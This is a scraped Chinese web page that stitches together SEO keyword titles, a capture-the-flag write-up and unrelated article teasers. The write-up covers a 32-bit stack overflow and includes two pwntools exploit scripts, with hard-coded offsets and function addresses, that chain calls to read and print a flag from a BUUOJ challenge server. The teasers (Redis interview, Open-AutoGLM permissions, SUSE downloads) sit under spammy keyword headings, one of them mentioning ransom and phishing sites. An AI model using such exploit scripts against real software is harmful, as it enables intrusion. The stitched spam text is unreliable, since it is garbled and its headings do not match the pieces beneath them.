做平面设计什么素材网站好使东莞企业网站排名

张小明 2025/12/31 3:04:49
做平面设计什么素材网站好使,东莞企业网站排名,东莞技术支持网站建设专家,网站中宣传彩页怎么做的首先checksec检查保护机制#xff1a;-32位程序-仅开启了栈不可执行保护然后使用IDA反汇编工具进行分析#xff1a;main函数中有栈溢出漏洞可利用#xff0c;左边有get_secret函数#xff0c;同时看出v4到栈底的偏移为45#xff0c;原本需要填充49字节的垃圾数据#xff…首先checksec检查保护机制-32位程序-仅开启了栈不可执行保护然后使用IDA反汇编工具进行分析main函数中有栈溢出漏洞可利用左边有get_secret函数同时看出v4到栈底的偏移为45原本需要填充49字节的垃圾数据但是最终实验只需要45个字节的垃圾数据这是get_secret函数内部这里打开了flag.txt文本文件这几行代码的作用就是将flag.txt中的内容写入到fl4g这个变量中去想就是flag了吧但是发现我们还得自己去调用printf函数将fl4g的内容打印出来才能拿到flag这里先拿到flag变量的地址0x080ECA2Dget_secret函数的地址0x080489A0在IDA中找到printf函数的地址0x0804F0A0由于栈溢出执行完printf函数后需要正常退出才能打印出flag的值所以还需用到exit函数的地址同样在IDA中拿到0x0804E660这是exp攻击脚本payload需要先执行get_secret函数将flag读取到对应的变量中后我们再将这个变量的值printf出来from pwn import * context(archi386, oslinux, log_leveldebug) #io process(./pwn) # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io connect(node5.buuoj.cn,26609) # 与在线环境交互。 printf_addr 0x0804F0A0 get_secret_addr 0x080489A0 flag_addr 0x080ECA2D exit_addr 0x0804E660 offset 45 payload ba*offset p32(get_secret_addr) p32(printf_addr) p32(exit_addr) p32(flag_addr) io.sendline(payload) io.interactive()在IDA中一个一个找函数的地址如果嫌太麻烦的话攻击脚本还可以这样写from pwn import * context(archi386, oslinux, log_leveldebug) #io process(./pwn) # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io connect(node5.buuoj.cn,26609) # 与在线环境交互。 elf ELF(./pwn) get_secret_addr elf.symbols[get_secret] printf_addr elf.symbols[printf] exit_addr elf.symbols[exit] flag_addr 0x080ECA2D offset 45 payload ba*offsetp32(get_secret_addr)p32(printf_addr)p32(exit_addr)p32(flag_addr) io.sendline(payload) io.interactive()这是运行结果-成功打印出flag
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

勒索做钓鱼网站的人大连网站设计

前天跟一个老读者复盘美团二面,他跟我吐槽:“面试官问了个送分题,Redis 的 Key 过期时间到了,内存是立马释放的吗?我回答‘是’,结果他脸色变了,追问了一堆细节,直接给我问挂了。”说…

张小明 2025/12/25 22:38:14 网站建设

网站排名在哪里优化oa系统服务器地址在哪里看

第一章:Open-AutoGLM权限管理的核心挑战在构建和部署 Open-AutoGLM 这类开源自动化大语言模型系统时,权限管理成为保障系统安全与合规运行的关键环节。由于其涉及多用户协作、API 调用链复杂以及敏感数据处理,传统的基于角色的访问控制&#…

张小明 2025/12/25 22:38:12 网站建设

网站开发swf素材吉安做网站优化

企业级应用和小型 Demo 最大的差别,往往不在于页面做得多花哨,而在于它是否能在真实组织里长期存活:能不能被多个团队持续迭代,能不能在 SAP Fiori Launchpad 里像标准应用一样被发现和启动,能不能在手机、平板、桌面上都保持一致体验,能不能在跨国家上线时不被语言、可访…

张小明 2025/12/25 22:38:14 网站建设

做网站英语老师的简历家用电脑可以做网站吗

你是否有过这样的经历:论文写到一半,思路突然中断,对着屏幕枯坐良久,却无法将思考推进一寸?这种“卡壳”的停滞感,是学术写作中最消耗心力与时间的无形障碍。 从文献综述到数据分析,从论证推演到…

张小明 2025/12/25 22:38:16 网站建设

体检营销型网站主机托管是指

SUSE Linux Enterprise 12/15 终极下载与部署完整指南 【免费下载链接】SUSELinuxEnterprise1215系统下载指南 SUSE Linux Enterprise 12/15 系统下载指南欢迎来到SUSE Linux Enterprise系统资源下载页面 项目地址: https://gitcode.com/open-source-toolkit/04e1c 还在…

张小明 2025/12/25 22:38:15 网站建设

东莞营销网站建设价格怎样做企业宣传推广

终极文件解压工具与二维码生成器:跨平台完整指南 【免费下载链接】解压缩全能王与二维码生成器-多平台工具包 解压缩全能王与二维码生成器 - 多平台工具包欢迎使用解压缩全能王与二维码生成器资源包,本资源包含两个核心工具:1. **解压缩全能王…

张小明 2025/12/25 22:38:18 网站建设